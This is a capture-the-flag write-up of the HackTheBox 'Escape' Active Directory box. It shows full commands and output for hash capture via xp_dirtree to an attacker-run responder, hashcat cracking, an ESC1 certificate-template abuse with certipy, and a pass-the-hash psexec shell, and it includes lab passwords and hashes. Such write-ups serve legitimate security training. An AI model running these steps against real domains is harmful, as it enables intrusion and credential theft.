
Hi all! This is a writeup for the HackTheBox Box Escape.
This box is part of HTB’s Active Directory Track, and is a great way to learn basic offensive AD techniques and vulnerabilities.
The box begins by leveraging an anonymous service login. From there, we discover user credentials for another available service. We then leak the service account’s hash, crack it, then use the stolen credentials to pop a shell as the service account. Once we laterally move to a real user, we exploit a popular vulnerability in ADCS to escalate to root.
Let’s get started :)
Recon#
Nmap#
As always, we port scan with Nmap
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ nmap -sCV -A -T4 -p- --min-rate=1000 -Pn -oA recon/nmap/nmap 10.129.9.23
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-19 17:15 -0400
Nmap scan report for 10.129.9.23
Host is up (0.021s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-20 05:17:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
|_ssl-date: 2026-03-20T05:19:22+00:00; +8h00m00s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
|_ssl-date: 2026-03-20T05:19:22+00:00; +8h00m00s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-03-20T05:08:47
|_Not valid after: 2056-03-20T05:08:47
| ms-sql-info:
| 10.129.9.23:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.9.23:1433:
| Target_Name: sequel
| NetBIOS_Domain_Name: sequel
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: dc.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
|_ssl-date: 2026-03-20T05:19:22+00:00; +8h00m00s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-20T05:19:22+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-03-20T05:19:22+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Not valid before: 2024-01-18T23:03:57
|_Not valid after: 2074-01-05T23:03:57
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49714/tcp open msrpc Microsoft Windows RPC
49718/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s
| smb2-time:
| date: 2026-03-20T05:18:43
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 22.66 ms 10.10.14.1
2 22.84 ms 10.129.9.23
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 207.62 secondsOf course, because it’s a windows AD box, there’s a lot of stuff. There are some things that pop out to me. First, our domain name is sequel.htb. Second, there is a lot of certificate/ssl information in this output which means there is probably a certificate authority running. I know this isn’t realistic, but the fact that the name of the box is Escape, and the possibility of a certificate authority, made me think this would be an access vector in the future due to the famous ESC family of vulnerabilities. Finally, our clock skew is almost 8 hours. This will be an issue if we need to do anything related to kerberos. Let’s keep all of this in mind.
Because we know the domain name, I’ll add it to my /etc/hosts file.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ sudo bash -c 'echo -e "10.129.9.23\tsequel.htb" >> /etc/hosts'Enumeration#
SMB#
I usually start with SMB. Especially because we are not given any breach credentials, it is good to look for anonymous access to any services.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ nxc smb sequel.htb -u "" -p ""
SMB 10.129.9.23 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.9.23 445 DC [+] sequel.htb\:
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ nxc smb sequel.htb -u "" -p "" --shares
SMB 10.129.9.23 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.9.23 445 DC [+] sequel.htb\:
SMB 10.129.9.23 445 DC [-] Error enumerating shares: STATUS_ACCESS_DENIEDInteresting. Null Auth is set to true, and we were able to authenticate (at least partially), but we are not able to enumerate any shares. Let’s try the default guest account.
Guest Authentication#
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ nxc smb sequel.htb -u "guest" -p "" --shares
SMB 10.129.9.23 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.9.23 445 DC [+] sequel.htb\guest:
SMB 10.129.9.23 445 DC [*] Enumerated shares
SMB 10.129.9.23 445 DC Share Permissions Remark
SMB 10.129.9.23 445 DC ----- ----------- ------
SMB 10.129.9.23 445 DC ADMIN$ Remote Admin
SMB 10.129.9.23 445 DC C$ Default share
SMB 10.129.9.23 445 DC IPC$ READ Remote IPC
SMB 10.129.9.23 445 DC NETLOGON Logon server share
SMB 10.129.9.23 445 DC Public READ
SMB 10.129.9.23 445 DC SYSVOL Logon server shareNice, we have access to some shares!
Why did guest authentication work, but our anonymous logon attempt didn’t?
Despite the similarities, anonymous logons (username = “”) and guest logons (username = “guest|anonymous”) are handled completely differently! Anonymous logons are handled by the built-in “Anonymous Logon” group, and any anonymous user will inherit permissions from this group. Allowing anonymous logons with this default behavior can lead to the leakage of sensitive domain information. The “Anonymous Logon” group, by default, is a member of the “Pre-Windows 2000 Compatible Access” group, which has permissions to access a limited set of domain data like reading password policies, object descriptions, domain parameters, etc.
Guest authentication, however, is different in the sense that the “Guest” account is a real account on windows and AD systems. This means that if you only disable anonymous authentication, there is still a chance guest authentication is still enabled. This seems to be the case for our box.
Source: https://sensepost.com/blog/2024/guest-vs-null-session-on-windows/
Public Share Enumeration#
With the guest account, we have read access to a on-standard SMB share. We can connect to it and download any interesting content.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ smbclient -U "" -N //sequel.htb/
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ impacket-smbclient sequel.htb/guest@sequel.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
Type help for list of commands
# use public
# ls
drw-rw-rw- 0 Sat Nov 19 06:51:25 2022 .
drw-rw-rw- 0 Sat Nov 19 06:51:25 2022 ..
-rw-rw-rw- 49551 Sat Nov 19 06:51:25 2022 SQL Server Procedures.pdfWe see one file. Let’s download it and see what secrets it holds >:)
# get SQL Server Procedures.pdf
# exit
<SNIP>
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ xdg-open loot/smb/SQL\ Server\ Procedures.pdfThis PDF has a few things that initially stand out to me. First, the employees are talking about a cloned/mock DC instance. This immediately makes me thing of the DCSync attack for privesc later. Second, employees are instructed to email Brandon at brandon.brown@sequel.htb. If we ever needed to steal session keys to bypass web authentication, this could be a XSS target. Lastly, and most importantly, we are given guest credentials to the SQL server PublicUser:GuestUserCantWrite1.

MSSQL#
Let’s use those creds to login to the MSSQL instance. Make sure to not add the -windows-auth options as specified by the pdf.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ impacket-mssqlclient 'PublicUser':'GuestUserCantWrite1'@sequel.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
<SNIP>
SQL (PublicUser guest@master)>Success!
We can do some enumeration to see if we can get some easy wins.
SQL (PublicUser guest@master)> enable_xp_cmdshell
ERROR(DC\SQLMOCK): Line 105: User does not have permission to perform this action.
ERROR(DC\SQLMOCK): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC\SQLMOCK): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC\SQLMOCK): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL (PublicUser guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
---------- ---------------- ----------- -------------- ------------------ ------------ -------
DC\SQLMOCK SQLNCLI SQL Server DC\SQLMOCK NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
------------- ----------- --------------- ------------
SQL (PublicUser guest@master)> enum_impersonate
execute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- ------- -------
SQL (PublicUser guest@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
---------- --------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
PublicUser SQL_LOGIN 0 0 0 0 0 0 0 0 0
SQL (PublicUser guest@master)> enum_users
UserName RoleName LoginName DefDBName DefSchemaName UserID SID
------------------ -------- --------- --------- ------------- ---------- -----
dbo db_owner sa master dbo b'1 ' b'01'
guest public NULL NULL guest b'2 ' b'00'
INFORMATION_SCHEMA public NULL NULL NULL b'3 ' NULL
sys public NULL NULL NULL b'4 ' NULL
SQL (PublicUser guest@master)> enum_db
name is_trustworthy_on
------ -----------------
master 0
tempdb 0
model 0
msdb 1Nothing much here. It looks like we are on the SQLMOCK instance. Let’s try one more thing :)
SQL (PublicUser guest@master)> xp_dirtree \\127.0.0.1\share
subdirectory depth file
------------ ----- ----We have xp_dirtree access! We can try to use this to steal the NTLMv2 hash of whatever account is running the MSSQL service!
Foothold#
Start by firing up responder.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ sudo responder -I tun0
[sudo] password for kali:
<SNIP>
[+] Listening for events...Then, use xp_dirtree to make a SMB connection to our attack host. We don’t need to connect to a real share, we just need any connection to come back to us.
SQL (PublicUser guest@master)> xp_dirtree \\10.10.14.62\aseif
subdirectory depth file
------------ ----- ----And we catch the NTLMv2 hash!
[SMB] NTLMv2-SSP Client : 10.129.9.23
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::sequel:49afe5328caf22ea:C30CD4FC1A0BE5F1EEB686FE606CEA5D:0101000000000000005846E1CBB7DC019CC9C3C1D2A453A90000000002000800570048004600510001001E00570049004E002D00460042005100460042005A003500530057004600520004003400570049004E002D00460042005100460042005A00350053005700460052002E0057004800460051002E004C004F00430041004C000300140057004800460051002E004C004F00430041004C000500140057004800460051002E004C004F00430041004C0007000800005846E1CBB7DC0106000400020000000800300030000000000000000000000000300000B1E8D979F424B391EADD4289696123E7C70AC45AC3A9CB56741F82872BEB9C480A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00360032000000000000000000From this, we can see that this authentication attempt is from the sql_svc account. We can throw the hash in to hashcat and try to crack it.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
<SNIP>
SQL_SVC::sequel:49afe5328caf22ea:c30cd4fc1a0be5f1eeb686fe606cea5d:0101000000000000005846e1cbb7dc019cc9c3c1d2a453a90000000002000800570048004600510001001e00570049004e002d00460042005100460042005a003500530057004600520004003400570049004e002d00460042005100460042005a00350053005700460052002e0057004800460051002e004c004f00430041004c000300140057004800460051002e004c004f00430041004c000500140057004800460051002e004c004f00430041004c0007000800005846e1cbb7dc0106000400020000000800300030000000000000000000000000300000b1e8d979f424b391eadd4289696123e7c70ac45ac3a9cb56741f82872beb9c480a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00360032000000000000000000:REGGIE1234ronnie
Session..........: hashcat
Status...........: CrackedSuccess! we now have the creds: sql_svc:REGGIE1234ronnie
We can verify this with by trying smb authentication.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ nxc smb sequel.htb -u sql_svc -p 'REGGIE1234ronnie' --shares
SMB 10.129.9.23 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.9.23 445 DC [+] sequel.htb\sql_svc:REGGIE1234ronnie
SMB 10.129.9.23 445 DC [*] Enumerated shares
SMB 10.129.9.23 445 DC Share Permissions Remark
SMB 10.129.9.23 445 DC ----- ----------- ------
SMB 10.129.9.23 445 DC ADMIN$ Remote Admin
SMB 10.129.9.23 445 DC C$ Default share
SMB 10.129.9.23 445 DC IPC$ READ Remote IPC
SMB 10.129.9.23 445 DC NETLOGON READ Logon server share
SMB 10.129.9.23 445 DC Public READ
SMB 10.129.9.23 445 DC SYSVOL READ Logon server shareIt works, but we don’t have any write permissions on any shares. This means we can’t leverage any tools that use SMB write access to pop a shell (like impacket’s psexec.py). However, we can try using winrm.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ evil-winrm -i sequel.htb -u 'sql_svc' -p 'REGGIE1234ronnie'
<SNIP>
*Evil-WinRM* PS C:\Users\sql_svc\Documents>Aaaaaaaaaaaand, we are in!
Lateral Movement#
Doing some initial checks, I don’t see any interesting privileges or anything. We can query the domain to find domain users, groups, etc., but none of that ended up being useful.
Looking around the C:\ drive, we see a directory that seems to be meant for our current user.
*Evil-WinRM* PS C:\Users\sql_svc\Documents> cd C:\
*Evil-WinRM* PS C:\> dir
<SNIP>
d----- 2/1/2023 1:02 PM SQLServerExploring this directory, we can see some setup configuration files and, more importantly, an error log. Opening the log, there’s one erroneous login attempt by the ryan.cooper user.
*Evil-WinRM* PS C:\SQLServer\Logs> type ERRORLOG.BAK
<SNIP>
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
<SNIP>Right below Ryan’s logon attempt, there’s another failed logon attempt by username NuclearMosquito3. From this, it looks like ryan.cooper tried to log on, misclicked something, then put their password in the username and submitted again. Let’s assume this is a password and give it a try.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ nxc smb sequel.htb -u ryan.cooper -p 'NuclearMosquito3'
SMB 10.129.9.23 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.9.23 445 DC [+] sequel.htb\ryan.cooper:NuclearMosquito3They work! Let’s login.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ evil-winrm -i sequel.htb -u 'ryan.cooper' -p 'NuclearMosquito3'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents>user.txt is just there for the taking :)
*Evil-WinRM* PS C:\Users\Ryan.Cooper> type Desktop\user.txt
********************************Privesc#
Now let’s own the box. Again, running some situational awareness checks doesn’t really lead to much. Let’s run bloodhound to get a better look.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ bloodhound-ce-python -d sequel.htb -u ryan.cooper -p 'NuclearMosquito3' -c all --zip -ns 10.129.9.23
INFO: Compressing output into 20260319183311_bloodhound.zipsudo bloodhoundLooking at our user’s node, we don’t see any outbound access controls, so we can’t take control of other accounts using ACLs. We also don’t see any groups that are particularly interesting.
- Group membership

Running some of the pre-made cypher queries, we also don’t find any DCSync permissions, kerberoastable accounts, etc.
So what now? Looking back at the groups, we see the CERTIFICATE SERVICE DCOM ACCESS group. recalling the nmap results, this is another data point leading me to believe Active Directory Certificate Service (ADCS) is running.
I’m not sure if this is the exact right way to find this vulnerability, but I just ran certipy-ad on the off chance there was ADCS, and vulnerable certificate templates.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ certipy-ad find -u 'ryan.cooper@sequel.htb' -p 'NuclearMosquito3' -dc-ip 10.129.9.23 -vulnerable -stdout
Certipy v5.0.4 - by Oliver Lyak (ly4k)
<SNIP>
Certificate Templates
0
Template Name : UserAuthentication
Display Name : UserAuthentication
Certificate Authorities : sequel-DC-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2022-11-18T21:10:22+00:00
Template Last Modified : 2024-01-19T00:26:38+00:00
Permissions
Enrollment Permissions
Enrollment Rights : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Domain Users
SEQUEL.HTB\Enterprise Admins
Object Control Permissions
Owner : SEQUEL.HTB\Administrator
Full Control Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Write Owner Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Write Dacl Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Write Property Enroll : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Domain Users
SEQUEL.HTB\Enterprise Admins
[+] User Enrollable Principals : SEQUEL.HTB\Domain Users
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.Nice! Looks like ADCS is running, and certipy-ad has identified a vulnerable certificate template. The specific vulnerability is shown on the last line as ESC1
ADCS#
ADCS is a service that manages Public Key Infrastructure (PKI) for a domain. There are 4 main components of ADCS that we can exploit:
- Certificate Authority (CA): Signs and issues certificates. The CA is the root of trust in the ADCS hierarchy.
- Certificate Templates: Blueprints that define what certificates can be used for, and who can request said certificates.
- Certificate Store: Where certificates are stored locally on a machine.
- Auto-enrollment: Group policy-driven mechanism that automatically requests and renews certificates.
Specifically, we will be attacking misconfigurations in Certificate Templates.
In our case, the UserAuthentication certificate shown above has this unique set of misconfigured permissions:
- Client Authentication: True
- Enrollee Supplies Subject: True
- Requires Management Approval: False
- Enrollment Permissions: Non-privileged domain groups included (SEQUEL.HTB\Domain Users)
All of this combined means we can request this certificate template while also supplying any other account as a Subject Alternative Name (SAN), and the CA will sign it without asking any questions. The result of this is that we can present a CA-signed certificate saying we are root, and services are forced to trust it because it’s valid :).
This combination of misconfigurations and exploitation steps is called the ESC1 vulnerability.
source: https://xbz0n.sh/blog/adcs-complete-attack-reference
ESC1 - Requesting the Malicious Certificate#
We know this template is vulnerable to ESC1, lets exploit it.
First, we need to request a certificate and supply a UPN to add as a SAN to the request. Again, because of the permission misconfigurations, we can add Administrator@sequel.htb.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ certipy-ad req -u 'ryan.cooper@sequel.htb' -p 'NuclearMosquito3' -dc-ip 10.129.9.23 -template UserAuthentication -upn 'Administrator@sequel.htb' -ca 'sequel-DC-CA'
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 13
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@sequel.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'From the output, we can tell we successfully requested the certificate, and it got saved to the file administrator.pfx. Essentially, we can now pretend to be the Administrator@sequel.htb to services. We can leverage this to get the NTLM hash of the spoofed account via Kerberos.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ certipy-ad auth -dc-ip 10.129.9.23 -pfx administrator.pfx
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator@sequel.htb'
[*] Using principal: 'administrator@sequel.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] Use -debug to print a stacktrace
[-] See the wiki for more informationThat didn’t seem to work. Let’s run it again with the -debug flag.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ certipy-ad auth -dc-ip 10.129.9.23 -pfx administrator.pfx -debug
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations
[+] Nameserver: '10.129.9.23'
[+] DC IP: '10.129.9.23'
[+] DC Host: ''
[+] Target IP: '10.129.9.23'
[+] Remote Name: '10.129.9.23'
[+] Domain: ''
[+] Username: ''
[*] Certificate identities:
[*] SAN UPN: 'Administrator@sequel.htb'
[*] Using principal: 'administrator@sequel.htb'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC sequel.htb (10.129.9.23)
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/certipy/commands/auth.py", line 596, in kerberos_authentication
tgt = sendReceive(as_req, domain, self.target.target_ip)
File "/usr/lib/python3/dist-packages/impacket/krb5/kerberosv5.py", line 93, in sendReceive
raise krbError
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] See the wiki for more informationNice, this tells us exactly what the problem is. Recall that our Nmap scan said our clock skew is about 8 hours from the DC. Kerberos’ max clock skew is usually set to about 5 minutes. We are obviously waaaaaaaay out of that window. Luckily we can manually sync our time as Domain Controllers usually provide ntp services.
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ sudo ntpdate sequel.htb
[sudo] password for kali:
2026-03-20 03:08:17.287418 (-0400) +28799.952448 +/- 0.012187 sequel.htb 10.129.9.23 s1 no-leap
CLOCK: time stepped by 28799.952448┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ certipy-ad auth -dc-ip 10.129.9.23 -pfx administrator.pfx -debug
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations
[+] Nameserver: '10.129.9.23'
[+] DC IP: '10.129.9.23'
[+] DC Host: ''
[+] Target IP: '10.129.9.23'
[+] Remote Name: '10.129.9.23'
[+] Domain: ''
[+] Username: ''
[*] Certificate identities:
[*] SAN UPN: 'Administrator@sequel.htb'
[*] Using principal: 'administrator@sequel.htb'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC sequel.htb (10.129.9.23)
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[+] Attempting to write data to 'administrator.ccache'
[+] Data written to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4eeAnd there it is, the NTLM hash for the administrator account. Once we have this hash, it’s over. Just perform a Pass The Hash (PTH) attack to pop a shell as admin!
┌──(kali㉿kali)-[~/Documents/htb/escape-writeup]
└─$ impacket-psexec administrator@sequel.htb -hashes aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on sequel.htb.....
[*] Found writable share ADMIN$
[*] Uploading file HShqZPLc.exe
[*] Opening SVCManager on sequel.htb.....
[*] Creating service YuMu on sequel.htb.....
[*] Starting service YuMu.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
*********************************We’re done!
Conclusion#
Thanks again if you’ve made it this far. This was a great box that I would recommend you do yourself if you have any interested in doing Windows boxes. It also directly leads up to the EscapeTwo box that I will probably write up in the future. (Maybe soon because I’m trying to catch up on writeups for boxes I’ve already solved).
Later gators!